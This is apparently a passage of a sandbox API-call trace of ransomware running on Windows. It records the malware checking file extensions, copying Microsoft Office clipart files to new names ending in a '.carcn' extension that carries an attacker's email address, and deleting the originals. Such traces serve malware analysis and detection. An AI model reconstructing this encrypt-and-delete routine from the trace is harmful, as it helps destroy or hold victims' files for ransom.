lstrlenW (lpString=".7z") returned 3 [0298.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.741] lstrlenW (lpString=".dbf") returned 4 [0298.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.741] lstrlenW (lpString=".1cd") returned 4 [0298.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.741] lstrlenW (lpString=".jpg") returned 4 [0298.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.742] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.742] lstrlenW (lpString="BS00438_.WMF") returned 12 [0298.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.742] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1212) returned 1 [0298.742] CloseHandle (hObject=0x358) returned 1 [0298.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0298.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.743] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.743] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0298.743] GetLastError () returned 0x0 [0298.743] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4bc, lpOverlapped=0x0) returned 1 [0298.745] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0298.746] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.746] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.746] SetEndOfFile (hFile=0x350) returned 1 [0298.746] CloseHandle (hObject=0x350) returned 1 [0298.746] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.746] SetEndOfFile (hFile=0x358) returned 1 [0298.747] CloseHandle (hObject=0x358) returned 1 [0298.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0298.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.748] lstrlenW (lpString=".doc") returned 4 [0298.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.749] lstrlenW (lpString=".docx") returned 5 [0298.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.749] lstrlenW (lpString=".pdf") returned 4 [0298.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.749] lstrlenW (lpString=".xls") returned 4 [0298.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.749] lstrlenW (lpString=".xlsx") returned 5 [0298.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.749] lstrlenW (lpString=".ppt") returned 4 [0298.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.749] lstrlenW (lpString=".zip") returned 4 [0298.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.749] lstrlenW (lpString=".rar") returned 4 [0298.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.749] lstrlenW (lpString=".bz2") returned 4 [0298.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.749] lstrlenW (lpString=".7z") returned 3 [0298.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.749] lstrlenW (lpString=".dbf") returned 4 [0298.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.749] lstrlenW (lpString=".1cd") returned 4 [0298.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.749] lstrlenW (lpString=".jpg") returned 4 [0298.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.750] lstrlenW (lpString=".doc") returned 4 [0298.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.750] lstrlenW (lpString=".docx") returned 5 [0298.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.750] lstrlenW (lpString=".pdf") returned 4 [0298.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.750] lstrlenW (lpString=".xls") returned 4 [0298.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.750] lstrlenW (lpString=".xlsx") returned 5 [0298.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.750] lstrlenW (lpString=".ppt") returned 4 [0298.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.750] lstrlenW (lpString=".zip") returned 4 [0298.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.750] lstrlenW (lpString=".rar") returned 4 [0298.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.750] lstrlenW (lpString=".bz2") returned 4 [0298.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.750] lstrlenW (lpString=".7z") returned 3 [0298.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.750] lstrlenW (lpString=".dbf") returned 4 [0298.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.751] lstrlenW (lpString=".1cd") returned 4 [0298.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0298.751] lstrlenW (lpString=".jpg") returned 4 [0298.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.751] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.751] lstrlenW (lpString="BS00439_.WMF") returned 12 [0298.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.751] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2052) returned 1 [0298.751] CloseHandle (hObject=0x358) returned 1 [0298.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0298.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.752] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.752] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0298.755] GetLastError () returned 0x0 [0298.755] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x804, lpOverlapped=0x0) returned 1 [0299.120] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x810, lpOverlapped=0x0) returned 1 [0299.122] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.122] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.122] SetEndOfFile (hFile=0x350) returned 1 [0299.122] CloseHandle (hObject=0x350) returned 1 [0299.207] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.208] SetEndOfFile (hFile=0x358) returned 1 [0299.209] CloseHandle (hObject=0x358) returned 1 [0299.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0299.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.226] lstrlenW (lpString=".doc") returned 4 [0299.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.226] lstrlenW (lpString=".docx") returned 5 [0299.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.226] lstrlenW (lpString=".pdf") returned 4 [0299.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.226] lstrlenW (lpString=".xls") returned 4 [0299.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.227] lstrlenW (lpString=".xlsx") returned 5 [0299.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.227] lstrlenW (lpString=".ppt") returned 4 [0299.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.227] lstrlenW (lpString=".zip") returned 4 [0299.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.227] lstrlenW (lpString=".rar") returned 4 [0299.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.227] lstrlenW (lpString=".bz2") returned 4 [0299.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.227] lstrlenW (lpString=".7z") returned 3 [0299.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.227] lstrlenW (lpString=".dbf") returned 4 [0299.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.227] lstrlenW (lpString=".1cd") returned 4 [0299.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.227] lstrlenW (lpString=".jpg") returned 4 [0299.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.229] lstrlenW (lpString=".doc") returned 4 [0299.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".docx") returned 5 [0299.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.229] lstrlenW (lpString=".pdf") returned 4 [0299.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".xls") returned 4 [0299.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.229] lstrlenW (lpString=".xlsx") returned 5 [0299.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.229] lstrlenW (lpString=".ppt") returned 4 [0299.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.229] lstrlenW (lpString=".zip") returned 4 [0299.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.229] lstrlenW (lpString=".rar") returned 4 [0299.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".bz2") returned 4 [0299.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".7z") returned 3 [0299.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.230] lstrlenW (lpString=".dbf") returned 4 [0299.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.230] lstrlenW (lpString=".1cd") returned 4 [0299.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0299.230] lstrlenW (lpString=".jpg") returned 4 [0299.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.230] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.230] lstrlenW (lpString="BS01636_.WMF") returned 12 [0299.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.230] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1874) returned 1 [0299.231] CloseHandle (hObject=0x358) returned 1 [0299.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0299.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.231] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.231] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0299.232] GetLastError () returned 0x0 [0299.232] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x752, lpOverlapped=0x0) returned 1 [0299.256] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x760, lpOverlapped=0x0) returned 1 [0299.294] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.294] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.295] SetEndOfFile (hFile=0x350) returned 1 [0299.295] CloseHandle (hObject=0x350) returned 1 [0299.295] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.295] SetEndOfFile (hFile=0x358) returned 1 [0299.296] CloseHandle (hObject=0x358) returned 1 [0299.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0299.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.299] lstrlenW (lpString=".doc") returned 4 [0299.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.299] lstrlenW (lpString=".docx") returned 5 [0299.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.299] lstrlenW (lpString=".pdf") returned 4 [0299.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.299] lstrlenW (lpString=".xls") returned 4 [0299.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.299] lstrlenW (lpString=".xlsx") returned 5 [0299.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.299] lstrlenW (lpString=".ppt") returned 4 [0299.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.299] lstrlenW (lpString=".zip") returned 4 [0299.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.299] lstrlenW (lpString=".rar") returned 4 [0299.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.302] lstrlenW (lpString=".bz2") returned 4 [0299.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.302] lstrlenW (lpString=".7z") returned 3 [0299.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.302] lstrlenW (lpString=".dbf") returned 4 [0299.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.302] lstrlenW (lpString=".1cd") returned 4 [0299.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.302] lstrlenW (lpString=".jpg") returned 4 [0299.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.302] lstrlenW (lpString=".doc") returned 4 [0299.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.302] lstrlenW (lpString=".docx") returned 5 [0299.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.303] lstrlenW (lpString=".pdf") returned 4 [0299.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.303] lstrlenW (lpString=".xls") returned 4 [0299.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.303] lstrlenW (lpString=".xlsx") returned 5 [0299.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.303] lstrlenW (lpString=".ppt") returned 4 [0299.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.303] lstrlenW (lpString=".zip") returned 4 [0299.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.303] lstrlenW (lpString=".rar") returned 4 [0299.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.303] lstrlenW (lpString=".bz2") returned 4 [0299.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.303] lstrlenW (lpString=".7z") returned 3 [0299.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.303] lstrlenW (lpString=".dbf") returned 4 [0299.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.303] lstrlenW (lpString=".1cd") returned 4 [0299.303] 